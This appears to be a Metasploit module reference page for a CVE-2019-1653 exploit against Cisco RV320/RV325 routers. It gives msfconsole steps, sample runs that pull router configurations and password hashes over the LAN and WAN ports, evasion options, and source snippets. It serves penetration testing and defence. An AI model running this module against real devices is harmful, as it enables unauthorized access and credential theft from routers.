Cisco RV320/RV326 Configuration Disclosure - Metasploit


This page contains detailed information about how to use the auxiliary/gather/cisco_rv320_config metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Cisco RV320/RV326 Configuration Disclosure
Module: auxiliary/gather/cisco_rv320_config
Source code: modules/auxiliary/gather/cisco_rv320_config.rb
Disclosure date: 2019-01-24
Last modification time: 2022-01-23 15:28:32 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2019-1653

A vulnerability in the web-based management interface of Cisco Small Business RV320 and RV325 Dual Gigabit WAN VPN routers could allow an unauthenticated, remote attacker to retrieve sensitive information. The vulnerability is due to improper access controls for URLs. An attacker could exploit this vulnerability by connecting to an affected device via HTTP or HTTPS and requesting specific URLs. A successful exploit could allow the attacker to download the router configuration or detailed diagnostic information. Cisco has released firmware updates that address this vulnerability.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


msf > use auxiliary/gather/cisco_rv320_config
msf auxiliary(cisco_rv320_config) > show targets
    ... a list of targets ...
msf auxiliary(cisco_rv320_config) > set TARGET target-id
msf auxiliary(cisco_rv320_config) > show options
    ... show and set options ...
msf auxiliary(cisco_rv320_config) > exploit

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


Vulnerable Application


CVE-2019-1653 (aka Cisco Bugtracker ID CSCvg85922) is an unauthenticated disclosure of device configuration information for the Cisco RV320/RV325 small business router. The vulnerability was responsibly disclosed by RedTeam Pentesting GmbH.

An exposed remote administration interface (on :443) would allow an attacker to retrieve password hashes and other sensitive device configuration information. On version 1.4.2.15, the vulnerabilty is exploitable via the WAN interface on port 8007 (by default) or 443 (if remote administration is enabled), in addition to port 443 on the LAN side. On version 1.4.2.17, only LAN port 443 is accessible by default, but user configuration can open port 443 for remote management on the WAN side, making the device vulnerable externally.

More context is available from Rapid7's blog post.

Verification Steps


  1. Start msfconsole
  2. use auxiliary/gather/cisco_rv320_config
  3. set RHOSTS 192.168.1.1 (default LAN IP) or to the WAN interface
  4. run
  5. Review the downloaded configuration file cited in the output. For example: > >[+] Stored configuration (128658 bytes) to /home/administrator/.msf4/loot/20190206213439_default_192.168.1.1_cisco.rv.config_791561.txt >
  6. If the database is connected, review the hosts, creds, and loot commands

Options


SSL: Should be set to 'true' for port 443 and set to 'false' for port 80 or port 8007.

TARGETURI: Should point to the /cgi-bin/config.exp endpoint and likely should never be changed.

Scenarios


Against firmware version 1.4.2.15, on the LAN interface, port 443:


msf5 >
msf5 > use auxiliary/gather/cisco_rv320_config
msf5 auxiliary(gather/cisco_rv320_config) > set RHOSTS 192.168.1.1
RHOSTS => 192.168.1.1
msf5 auxiliary(gather/cisco_rv320_config) > run

[+] Stored configuration (128628 bytes) to /home/administrator/.msf4/loot/20190206165015_default_192.168.1.1_cisco.rv.config_434637.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Against firmware version 1.4.2.15, on the WAN interface, port 8007:


msf5 >
msf5 > use auxiliary/gather/cisco_rv320_config
msf5 auxiliary(gather/cisco_rv320_config) > set RHOSTS 203.0.113.54
RHOSTS => 203.0.113.54
msf5 auxiliary(gather/cisco_rv320_config) > set RPORT 8007
RPORT => 8007
msf5 auxiliary(gather/cisco_rv320_config) > set SSL false
SSL => false
msf5 auxiliary(gather/cisco_rv320_config) > run

[+] Stored configuration (128628 bytes) to /home/administrator/.msf4/loot/20190206165015_default_203.0.113.54_cisco.rv.config_434637.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Against firmware version 1.4.2.17, on the LAN interface, port 443:


msf5 >
msf5 > use auxiliary/gather/cisco_rv320_config
msf5 auxiliary(gather/cisco_rv320_config) > set RHOSTS 192.168.1.1
RHOSTS => 192.168.1.1
msf5 auxiliary(gather/cisco_rv320_config) > run

[+] Stored configuration (128628 bytes) to /home/administrator/.msf4/loot/20190206165015_default_192.168.1.1_cisco.rv.config_434637.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Against newer firmware (>= 1.4.2.19), on the LAN interface, port 443:


msf5 >
msf5 > use auxiliary/gather/cisco_rv320_config
msf5 auxiliary(gather/cisco_rv320_config) > set RHOSTS 192.168.1.1
RHOSTS => 192.168.1.1
msf5 auxiliary(gather/cisco_rv320_config) > run

[-] Auxiliary aborted due to failure: not-vulnerable: Response suggests device is patched
[*] Auxiliary module execution completed

If module succeeds, check the database:


msf5 auxiliary(gather/cisco_rv320_config) > hosts

Hosts
=====

address      mac                name          os_name  os_flavor  os_sp  purpose  info  comments
-------      ---                ----          -------  ---------  -----  -------  ----  --------
203.0.113.54 70:E4:22:94:E7:20  router94e720  Cisco    RV320                            
192.168.1.1  70:E4:22:94:E7:20  router94e720  Cisco    RV320                            
msf5 auxiliary(gather/cisco_rv320_config) > creds
Credentials
===========

host         origin       service          public  private                            realm  private_type
----         ------       -------          ------  -------                            -----  ------------
203.0.113.54 192.168.1.1  8007/tcp (http)  cisco   $1$mldcsfp$gCrnS7A0ta6E5EzwDiZ9t/         Nonreplayable hash
192.168.1.1  192.168.1.1  443/tcp (https)  cisco   $1$mldcsfp$gCrnS7A0ta6E5EzwDiZ9t/         Nonreplayable hash
msf5 auxiliary(gather/cisco_rv320_config) > loot

Loot
====

host         service  type             name  content     info  path
----         -------  ----             ----  -------     ----  ----
203.0.113.54          cisco.rv.config        text/plain        /home/administrator/.msf4/loot/20190206213439_default_203.0.113.54_cisco.rv.config_791561.txt
192.168.1.1           cisco.rv.config        text/plain        /home/administrator/.msf4/loot/20190206211312_default_192.168.1.1_cisco.rv.config_412095.txt

Go back to menu.

Msfconsole Usage


Here is how the gather/cisco_rv320_config auxiliary module looks in the msfconsole:

msf6 > use auxiliary/gather/cisco_rv320_config

msf6 auxiliary(gather/cisco_rv320_config) > show info

       Name: Cisco RV320/RV326 Configuration Disclosure
     Module: auxiliary/gather/cisco_rv320_config
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2019-01-24

Provided by:
  RedTeam Pentesting GmbH <[email protected]>
  Aaron Soto <[email protected]>

Check supported:
  No

Basic options:
  Name       Current Setting      Required  Description
  ----       ---------------      --------  -----------
  Proxies                         no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                          yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT      443                  yes       The target port (TCP)
  SSL        true                 no        Negotiate SSL/TLS for outgoing connections
  TARGETURI  /cgi-bin/config.exp  yes       Path to the device configuration file
  VHOST                           no        HTTP server virtual host

Description:
  A vulnerability in the web-based management interface of Cisco Small 
  Business RV320 and RV325 Dual Gigabit WAN VPN routers could allow an 
  unauthenticated, remote attacker to retrieve sensitive information. 
  The vulnerability is due to improper access controls for URLs. An 
  attacker could exploit this vulnerability by connecting to an 
  affected device via HTTP or HTTPS and requesting specific URLs. A 
  successful exploit could allow the attacker to download the router 
  configuration or detailed diagnostic information. Cisco has released 
  firmware updates that address this vulnerability.

References:
  https://www.exploit-db.com/exploits/46262
  http://www.securityfocus.com/bid/106732
  https://nvd.nist.gov/vuln/detail/CVE-2019-1653
  https://seclists.org/fulldisclosure/2019/Jan/52
  https://bst.cloudapps.cisco.com/bugsearch/bug/CSCvg42801
  http://www.cisco.com/en/US/products/csa/cisco-sa-20110330-acs.html

Module Options


This is a complete list of options available in the gather/cisco_rv320_config auxiliary module:

msf6 auxiliary(gather/cisco_rv320_config) > show options

Module options (auxiliary/gather/cisco_rv320_config):

   Name       Current Setting      Required  Description
   ----       ---------------      --------  -----------
   Proxies                         no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                          yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      443                  yes       The target port (TCP)
   SSL        true                 no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /cgi-bin/config.exp  yes       Path to the device configuration file
   VHOST                           no        HTTP server virtual host

Advanced Options


Here is a complete list of advanced options supported by the gather/cisco_rv320_config auxiliary module:

msf6 auxiliary(gather/cisco_rv320_config) > show advanced

Module advanced options (auxiliary/gather/cisco_rv320_config):

   Name                  Current Setting                                     Required  Description
   ----                  ---------------                                     --------  -----------
   DOMAIN                WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                         no        HTTP connection and receive timeout
   HttpPassword                                                              no        The HTTP password to specify for authentication
   HttpRawHeaders                                                            no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                              no        The HTTP username to specify for authentication
   SSLVersion            Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE               false                                               no        Enable detailed status messages
   WORKSPACE                                                                 no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the gather/cisco_rv320_config module can do:

msf6 auxiliary(gather/cisco_rv320_config) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the gather/cisco_rv320_config auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(gather/cisco_rv320_config) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

SSL handshake failed. Consider setting SSL to false and trying again.


Here is a relevant code snippet related to the "SSL handshake failed. Consider setting SSL to false and trying again." error message:

102:	      res = send_request_cgi({
103:	        'uri'     => uri,
104:	        'method'  => 'GET',
105:	      }, 60)
106:	    rescue OpenSSL::SSL::SSLError
107:	      fail_with(Failure::UnexpectedReply, 'SSL handshake failed.  Consider setting SSL to false and trying again.')
108:	    end
109:	
110:	    if res.nil?
111:	      fail_with(Failure::UnexpectedReply, 'Empty response.  Please validate the RHOST and TARGETURI options and try again.')
112:	    elsif res.code != 200

Empty response. Please validate the RHOST and TARGETURI options and try again.


Here is a relevant code snippet related to the "Empty response. Please validate the RHOST and TARGETURI options and try again." error message:

106:	    rescue OpenSSL::SSL::SSLError
107:	      fail_with(Failure::UnexpectedReply, 'SSL handshake failed.  Consider setting SSL to false and trying again.')
108:	    end
109:	
110:	    if res.nil?
111:	      fail_with(Failure::UnexpectedReply, 'Empty response.  Please validate the RHOST and TARGETURI options and try again.')
112:	    elsif res.code != 200
113:	      fail_with(Failure::UnexpectedReply, "Unexpected HTTP #{res.code} response.  Please validate the RHOST and TARGETURI options and try again.")
114:	    end
115:	
116:	    body = res.body

Unexpected HTTP <RES.CODE> response. Please validate the RHOST and TARGETURI options and try again.


Here is a relevant code snippet related to the "Unexpected HTTP <RES.CODE> response. Please validate the RHOST and TARGETURI options and try again." error message:

108:	    end
109:	
110:	    if res.nil?
111:	      fail_with(Failure::UnexpectedReply, 'Empty response.  Please validate the RHOST and TARGETURI options and try again.')
112:	    elsif res.code != 200
113:	      fail_with(Failure::UnexpectedReply, "Unexpected HTTP #{res.code} response.  Please validate the RHOST and TARGETURI options and try again.")
114:	    end
115:	
116:	    body = res.body
117:	    if body.match(/####sysconfig####/)
118:	      parse_config(body)

Response suggests device is patched


Here is a relevant code snippet related to the "Response suggests device is patched" error message:

113:	      fail_with(Failure::UnexpectedReply, "Unexpected HTTP #{res.code} response.  Please validate the RHOST and TARGETURI options and try again.")
114:	    end
115:	
116:	    body = res.body
117:	    if body.match(/####sysconfig####/)
118:	      parse_config(body)
119:	    else body.include?"meta http-equiv=refresh content='0; url=/default.htm'"
120:	      fail_with(Failure::NotVulnerable, 'Response suggests device is patched')
121:	    end
122:	  end
123:	end

Go back to menu.


References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


Version


This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.